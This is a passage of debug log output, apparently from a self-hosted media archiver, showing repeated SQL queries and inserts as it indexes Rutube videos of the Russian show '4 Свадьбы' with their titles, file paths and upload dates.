'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 14:35:25.829 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Конкурс.mp4", "id" => "2111dacd380a59116f44cc8b88bf4b6e", "original_url" => "https://rutube.ru/video/2111dacd380a59116f44cc8b88bf4b6e/", "playlist_index" => 2, "timestamp" => 1539783498, "title" => "Конкурс", "upload_date" => "20181017"} 14:35:25.836 [debug] QUERY OK source="sources" db=2.0ms queue=0.2ms idle=504.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:25.847 [debug] QUERY OK source="sources" db=2.3ms queue=0.2ms idle=63.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:25.853 [debug] QUERY OK source="media_items" db=2.9ms queue=0.8ms idle=42.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-17 13:38:18Z], 1] 14:35:26.260 [debug] QUERY OK source="media_items" db=404.8ms queue=0.1ms idle=39.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Конкурс", "601ab248-1df4-40f4-a150-eab201665546", "2111dacd380a59116f44cc8b88bf4b6e", 30, false, "https://rutube.ru/video/2111dacd380a59116f44cc8b88bf4b6e/", 2, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Конкурс.mp4", false, false, false, 1, [], 3, ~U[2018-10-17 13:38:18Z], ~U[2025-12-09 11:35:25Z], ~U[2025-12-09 11:35:25Z], "", "Конкурс", "2111dacd380a59116f44cc8b88bf4b6e", 30, false, "https://rutube.ru/video/2111dacd380a59116f44cc8b88bf4b6e/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Конкурс.mp4", false, 1, ~U[2018-10-17 13:38:18Z]] 14:35:26.276 [debug] QUERY OK source="sources" db=15.1ms queue=0.1ms idle=424.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:26.281 [debug] QUERY OK source="media_profiles" db=2.8ms queue=0.3ms idle=430.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:26.290 [debug] QUERY OK source="media_items" db=5.9ms idle=431.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 14:35:26.292 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e082300 - Рецепт идеальной свадьбы.mp4", "id" => "2e56b86332986583ab56b2340398f5c0", "original_url" => "https://rutube.ru/video/2e56b86332986583ab56b2340398f5c0/", "playlist_index" => 3, "timestamp" => 1566589620, "title" => "Рецепт идеальной свадьбы", "upload_date" => "20190823"} 14:35:26.295 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=427.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:26.300 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=38.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:26.303 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=24.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-23 19:47:00Z], 1] 14:35:26.601 [debug] QUERY OK source="media_items" db=295.0ms idle=22.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Рецепт идеальной свадьбы", "b9a6fd40-7dc8-4c51-92ca-07c5de65e2c3", "2e56b86332986583ab56b2340398f5c0", 30, false, "https://rutube.ru/video/2e56b86332986583ab56b2340398f5c0/", 3, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e082300 - Рецепт идеальной свадьбы.mp4", false, false, false, 1, [], 1, ~U[2019-08-23 19:47:00Z], ~U[2025-12-09 11:35:26Z], ~U[2025-12-09 11:35:26Z], "", "Рецепт идеальной свадьбы", "2e56b86332986583ab56b2340398f5c0", 30, false, "https://rutube.ru/video/2e56b86332986583ab56b2340398f5c0/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e082300 - Рецепт идеальной свадьбы.mp4", false, 1, ~U[2019-08-23 19:47:00Z]] 14:35:26.636 [debug] QUERY OK source="sources" db=24.8ms queue=0.6ms idle=320.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:26.641 [debug] QUERY OK source="media_profiles" db=3.0ms queue=1.3ms idle=341.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:26.649 [debug] QUERY OK source="media_items" db=6.1ms idle=343.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 14:35:26.651 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e090900 - Чем приправить идеальную свадьбу?.mp4", "id" => "322ad16ced8f83a2913eff88b60728bc", "original_url" => "https://rutube.ru/video/322ad16ced8f83a2913eff88b60728bc/", "playlist_index" => 4, "timestamp" => 1568056015, "title" => "Чем приправить идеальную свадьбу?", "upload_date" => "20190909"} 14:35:26.652 [debug] QUERY OK source="sources" db=0.4ms queue=0.4ms idle=348.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:26.659 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=57.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:26.665 [debug] QUERY OK source="media_items" db=2.8ms queue=0.3ms idle=25.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-09-09 19:06:55Z], 1] 14:35:27.078 [debug] QUERY OK source="media_items" db=410.7ms queue=0.1ms idle=25.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Чем приправить идеальную свадьбу?", "6dd5baf9-f475-4079-8fb6-e38279233192", "322ad16ced8f83a2913eff88b60728bc", 30, false, "https://rutube.ru/video/322ad16ced8f83a2913eff88b60728bc/", 4, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e090900 - Чем приправить идеальную свадьбу?.mp4", false, false, false, 1, [], 1, ~U[2019-09-09 19:06:55Z], ~U[2025-12-09 11:35:26Z], ~U[2025-12-09 11:35:26Z], "", "Чем приправить идеальную свадьбу?", "322ad16ced8f83a2913eff88b60728bc", 30, false, "https://rutube.ru/video/322ad16ced8f83a2913eff88b60728bc/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e090900 - Чем приправить идеальную свадьбу?.mp4", false, 1, ~U[2019-09-09 19:06:55Z]] 14:35:27.092 [debug] QUERY OK source="sources" db=13.7ms queue=0.1ms idle=426.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:27.098 [debug] QUERY OK source="media_profiles" db=4.6ms queue=0.4ms idle=434.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:27.106 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=438.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 14:35:27.111 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071700 - Деревенская свадьба.mp4", "id" => "328532efa498a25590c4c5ecca2e6026", "original_url" => "https://rutube.ru/video/328532efa498a25590c4c5ecca2e6026/", "playlist_index" => 5, "timestamp" => 1563366972, "title" => "Деревенская свадьба", "upload_date" => "20190717"} 14:35:27.113 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=34.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:27.116 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=37.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:27.119 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=25.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-17 12:36:12Z], 1] 14:35:27.275 [debug] QUERY OK source="media_items" db=154.3ms idle=22.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Деревенская свадьба", "6ffe975b-d83e-422d-9f65-1984ad9b1adf", "328532efa498a25590c4c5ecca2e6026", 30, false, "https://rutube.ru/video/328532efa498a25590c4c5ecca2e6026/", 5, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071700 - Деревенская свадьба.mp4", false, false, false, 1, [], 1, ~U[2019-07-17 12:36:12Z], ~U[2025-12-09 11:35:27Z], ~U[2025-12-09 11:35:27Z], "", "Деревенская свадьба", "328532efa498a25590c4c5ecca2e6026", 30, false, "https://rutube.ru/video/328532efa498a25590c4c5ecca2e6026/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071700 - Деревенская свадьба.mp4", false, 1, ~U[2019-07-17 12:36:12Z]] 14:35:27.287 [debug] QUERY OK source="sources" db=11.6ms idle=169.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:27.290 [debug] QUERY OK source="media_profiles" db=1.8ms queue=0.1ms idle=174.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:27.294 [debug] QUERY OK source="media_items" db=1.8ms idle=175.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 14:35:27.295 [debug] Current batch of media processed. Will check again in 1000ms 14:35:28.296 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071000 - Свадьба межгалактического масштаба.mp4", "id" => "3e26509b4de036f27e5b3e9340fdec13", "original_url" => "https://rutube.ru/video/3e26509b4de036f27e5b3e9340fdec13/", "playlist_index" => 6, "timestamp" => 1562763350, "title" => "Свадьба межгалактического масштаба", "upload_date" => "20190710"} 14:35:28.298 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1022.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:28.301 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1012.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:28.302 [debug] QUERY OK source="media_items" db=1.1ms idle=1011.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-10 12:55:50Z], 1] 14:35:28.401 [debug] QUERY OK source="media_items" db=96.4ms idle=1009.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадьба межгалактического масштаба", "3abf628d-718f-4789-8274-5f3f2e847642", "3e26509b4de036f27e5b3e9340fdec13", 25, false, "https://rutube.ru/video/3e26509b4de036f27e5b3e9340fdec13/", 6, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071000 - Свадьба межгалактического масштаба.mp4", false, false, false, 1, [], 1, ~U[2019-07-10 12:55:50Z], ~U[2025-12-09 11:35:28Z], ~U[2025-12-09 11:35:28Z], "", "Свадьба межгалактического масштаба", "3e26509b4de036f27e5b3e9340fdec13", 25, false, "https://rutube.ru/video/3e26509b4de036f27e5b3e9340fdec13/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e071000 - Свадьба межгалактического масштаба.mp4", false, 1, ~U[2019-07-10 12:55:50Z]] 14:35:28.404 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=320.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:28.405 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=106.4ms SELECT m0."id", m0."name", 